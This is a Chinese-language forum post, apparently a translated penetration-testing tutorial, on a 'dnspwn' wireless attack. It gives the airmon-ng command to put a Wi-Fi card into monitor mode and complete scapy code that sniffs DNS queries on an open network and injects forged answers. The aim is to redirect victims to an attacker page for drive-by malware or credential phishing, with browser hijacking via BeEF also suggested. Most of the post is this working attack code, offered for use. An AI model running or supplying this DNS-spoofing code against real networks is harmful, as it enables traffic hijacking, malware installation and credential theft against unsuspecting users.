新技术论坛
搜索
查看: 996|回复: 0
打印 上一主题 下一主题

[渗透实战] 使用Python进行无线攻击的案例

[复制链接]
  • TA的每日心情
    开心
    2016-12-9 18:18
  • 签到天数: 85 天

    连续签到: 1 天

    [LV.6]常住居民II

    扫一扫,手机访问本帖
    楼主
    跳转到指定楼层
    发表于 2016-5-10 10:55:23 来自手机 | 只看该作者 |只看大图 回帖奖励 |倒序浏览 |阅读模式
    Dnspwn攻击

    我们将要进行的第一个攻击我称之为”dnspwn攻击”。(因为,这种攻击首先使用“airpwn”工具创建了目标HTTP,然后对DNS进行攻击。)
    这种攻击的思想非常简单:

    假设在一个开放的WLAN上有两个人:Bob和Eve。Eve想让Bob访问她创建的恶意网页,这样她就可以通过隐藏性的下载给Bob的计算机上安装恶意软件,或者可能展示一个欺骗性的站点来试图窃取Bob的认证信息。

    为了实现这种攻击,她记得她可侦听到所有从Bob计算机发出或者到达Bob计算机的请求。她还知道她比Bob正在请求的Web服务器离Bob更近。因此,她决定等待Bob发送Web请求,而且看看她是否能够在真正的Web服务器响应之前回送一个欺骗性的响应,以假装这个响应来自于web服务器。事实证明,她可以做到。实际上,一旦接收了欺骗性的响应,Bob的计算机可能将忽略任何后续接收到的信息,包括真正的响应。

    让我们看一下这一些发生的过程,看起来如下:



    因此,既然我们已经知道这种攻击如何运行的了,那么让我们把这种攻击自动化。

    设置Alfa AWUS06H无线网卡

    我们将使用手边的Alfa AWUS036H实现这次攻击。我们需要做的第一件事情就是设置无线网卡在监控模式下,这样我们就可以捕获所有来自于演示性的不安全网络的信息流。
    root@bt:~# airmon-ng start wlan0

    既然我们已经启动了监控模式,并运行在mon0接口上,那么让我们开始编写代码吧!

    编写攻击代码

    我们将利用scapy模块实现这种攻击。我们开始先侦听目的端口为53的任何UDP包,然后发送这个包给我们后面将要编写名字为send_response的函数:
    from scapy.all import *
    sniff(prn=lambda x: send_response(x),
      lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

    现在,让我们创建一个可以解析请求中相关信息并注入应答的函数。我们只是通过如下逐层上移的方式解析包并创建响应:

    802.11帧-更改”to-ds”标记为”from-ds”(现在我们的请求将成为来自于访问点)
    802.11帧-交换源MAC地址和目的MAC地址
    IP层-交换源IP地址和目的IP地址
    UDP层-交换源端口和目的端口
    DNS层-设置”answer”标记,添加欺骗性

    幸运的是,通过抽象掉许多次要细节,scapy使这个变得相当轻松(例如,在一个802.11帧中,实际上具有4个MAC地址字段,根据包的方向,每一种都有不同的顺序)。如上所述,代码如下:
    def send_response(x):
      # Get the requested domain
      req_domain = x[DNS].qd.qname
      spoofed_ip = '192.168.2.1'
      # Let's build our response from a copy of the original packet
      response = x.copy()
      # We need to start by changing our response to be "from-ds", or from the access point.
      response.FCfield = 2L
      # Switch the MAC addresses
      response.addr1, response.addr2 = x.addr2, x.addr1
      # Switch the IP addresses
      response.src, response.dst = x.dst, x.src
      # Switch the ports
      response.sport, response.dport = x.dport, x.sport
      # Set the DNS flags
      response[DNS].qr = 1L
      response[DNS].ra = 1L
      response[DNS].ancount = 1

    现在设置了所有的标志,我们再创建添加上 DNS 应答:

    response[DNS].an = DNSRR(
      rrname = req_domain,
      type = 'A',
      rclass = 'IN',
      ttl = 900,
      rdata = spoofed_ip
      )

    最终,我们注入此欺骗响应:

    sendp(response)

    这就是全部了!你可以在
    Github (https://github.com/jordan-wright/python-wireless-attacks/blob/master/dnspwn.py) 上找到所有源代码。

    演示

    对于这个演示,我有如下来自主机192.168.2.138的HTML响应:

    <html>
    <head></head>
    <body>
      Owned.
    </body>
    </html>

    值得注意的是,我们可以加上任何我们想要的HTML,Javascript,等等。举个例子,用BeEF 框架 来劫持浏览器是小菜一碟。




    总结 & 将来的改进

    注意这个攻击方法对于其他简单的请求/响应协议也同样有效。例如,原始的“airpwn”攻击欺骗了HTTP响应。对于这个脚本,我们还可以进一步做一些改进和提高。下面就是其中的几个方面:
    通过正则表达式来匹配请求(例如,仅仅替换Javascript的内容)
    通过参数设置选项/从文件中读取配置信息
    实现其他协议的攻击(如HTTP)。


    高级模式
    B Color Image Link Quote Code Smilies

    本版积分规则

    手机版|Archiver|开发者俱乐部 ( ICP/ISP证:辽B-2-4-20110106号 IDC证:辽B-1-2-20070003号 )

    GMT+8, 2025-1-11 07:01 , Processed in 0.202378 second(s), 29 queries .

    X+ Open Developer Network (xodn.com)

    © 2009-2017 沈阳讯网网络科技有限公司

    快速回复 返回顶部 返回列表